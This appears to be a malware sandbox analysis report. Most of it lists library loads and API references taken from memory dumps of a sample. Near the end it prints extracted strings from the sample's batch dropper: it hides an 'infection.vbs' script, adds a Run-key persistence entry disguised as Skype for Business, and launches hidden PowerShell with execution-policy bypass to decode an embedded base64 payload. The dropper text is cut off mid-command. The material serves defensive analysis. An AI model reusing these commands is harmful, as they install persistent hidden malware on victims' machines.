%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ncrypt (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\ncrypt.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005308) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00005308)34:T618c,Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegRestoreKeyW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegLoadKeyW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegUnLoadKeyW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaNumericW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "LocalReAlloc"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "NtQueryKey"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00003052.00000000.152334.416EF000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp, 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, 00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp")35:T2273,"xe /c """"%APPDATA%\Microsoft\Windows\Templates\JURY.bat""""" 0 False) > "%APPDATA%\Microsoft\Windows\Templates\infection.vbs"attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\infection.vbs" >nul 2>&1reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B //Nologo \"%APPDATA%\Microsoft\Windows\Templates\infection.vbs\"" /f >nul 2>&1set payment=%CD%if exist %TEMP% set RACIAL=1if %ERRORLEVEL% GEQ 0 set TEMPERATURE=1if %ERRORLEVEL% GEQ 0 set CARRY=1if %ERRORLEVEL% GEQ 0 set Species=1set knee=%TIME:~0 2%%TIME:~3 2%set Relative=%RANDOM%if exist %TEMP% set Latin=1if %ERRORLEVEL% GEQ 0 set Teenager=1set criticism=%TIME:~0 2%%TIME:~3 2%set Then=%CD%setlocal enableDelayedExpansionset troop=%TEMP%\potato.ps1powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadAllText('%~f0'); if ($c -match 'REMMCTlBegwdTY5G5k([A-Za-z0-9+/=]+)') { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1" in Source: d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B //Nologo \"%APPDATA%\Microsoft\Windows\Templates\infection.vbs\"" /f >nul 2>&1" in Source: d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v 